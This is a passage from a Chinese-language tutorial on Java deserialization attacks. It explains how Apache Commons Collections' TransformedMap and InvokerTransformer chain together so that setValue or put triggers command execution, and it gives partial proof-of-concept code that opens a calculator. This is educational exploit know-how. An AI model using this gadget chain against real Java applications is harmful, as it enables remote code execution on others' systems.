上面两个Demo为我们演示了如何使用InvokerTransformer执行本地命令,现在我们也就还只剩下两个问题:

    1. 如何传入调用链。
    2. 如何调用transform方法执行本地命令。

    现在我们已经使用InvokerTransformer创建了一个含有恶意调用链的Transformer类的Map对象,紧接着我们应该思考如何才能够将调用链窜起来并执行。
    org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口,同时支持对Mapkey或者value进行Transformer转换,调用decoratedecorateTransform方法就可以创建一个TransformedMap:

    1. public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    2. return new TransformedMap(map, keyTransformer, valueTransformer);
    3. }
    4. public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    5. // 省去实现代码
    6. }

    只要调用TransformedMapsetValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法,从而也就会触发命令执行。

    使用TransformedMap类的setValue触发transform示例:

    1. public static void main(String[] args) {
    2. String cmd = "open -a Calculator.app";
    3. // 此处省去创建transformers过程,参考上面的demo
    4. // 创建ChainedTransformer调用链对象
    5. Transformer transformedChain = new ChainedTransformer(transformers);
    6. // 创建Map对象
    7. Map map = new HashMap();
    8. map.put("value", "value");
    9. // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
    10. Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
    11. // transformedMap.put("v1", "v2");// 执行put也会触发transform
    12. // 遍历Map元素,并调用setValue方法
    13. for (Object obj : transformedMap.entrySet()) {
    14. Map.Entry entry = (Map.Entry) obj;
    15. // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
    16. entry.setValue("test");
    17. }
    18. System.out.println(transformedMap);
    19. }

    上述代码向我们展示了只要在Java的API中的任何一个类实现了java.io.Serializable接口,并且可以传入我们构建的TransformedMap对象还要有调用TransformedMap中的setValue/put/putAll中的任意方法一个方法的类,我们就可以在Java反序列化的时候触发InvokerTransformer类的transform方法实现RCE